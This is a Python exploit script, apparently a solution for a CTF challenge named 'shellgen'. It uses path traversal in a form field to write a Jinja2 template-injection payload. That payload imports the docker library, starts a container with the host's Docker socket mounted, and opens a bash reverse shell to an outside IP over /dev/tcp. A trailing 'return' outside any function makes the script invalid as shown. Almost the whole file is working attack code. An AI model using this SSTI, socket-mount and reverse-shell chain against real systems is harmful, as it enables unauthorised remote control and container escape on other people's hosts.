import asyncio
import base64
from requests import session
import time
import random
import string
from urllib.parse import unquote
from html import unescape

host = 'http://qwq.shellgen.d3ctf.io'
token = 'qwq'  # team_id=1

subdir = ''.join([
    random.choice(string.ascii_lowercase)
    for _ in range(5)
])
print(subdir)
ses = session()


ses.post(host + '/submit', data={
    'token': '/'.join([token, subdir]),
    'code': ''
})
a = ses.cookies['session'].split('.')[0].encode() + b'==='
print(base64.b64decode(a).decode())

pld = session()
payload = r'''
{% set docker=request.application.__self__._get_data_for_json.__globals__.__builtins__.__import__("docker") %}
{% set s=docker.DockerClient() %}
{{ s.containers.run("ubuntu", "bash -c 'exec bash -i &>/dev/tcp/47.94.169.118/1234 <&1'", mounts=[
    docker.types.Mount(
        type='bind',
        source="/var/run/user/1000/docker.sock",
        target='/var/run/docker.sock',
    ),docker.types.Mount(
        type='bind',
        source="/usr/bin/docker",
        target="/usr/bin/docker"
    )
]) }}
    '''
pld.post(host + '/submit', data={
    'token': '../templates/' + token,
    'code': f'''
import os
os.makedirs('/opt/{subdir}', exist_ok=True)
with open('/opt/{subdir}/result.html', 'w') as f:
    f.write("""{payload}""")
'''
})
for _ in range(10):
    time.sleep(1)
    result = unescape(ses.get(host + '/result').text)
    if 'wait for' not in result:
        return result.encode()
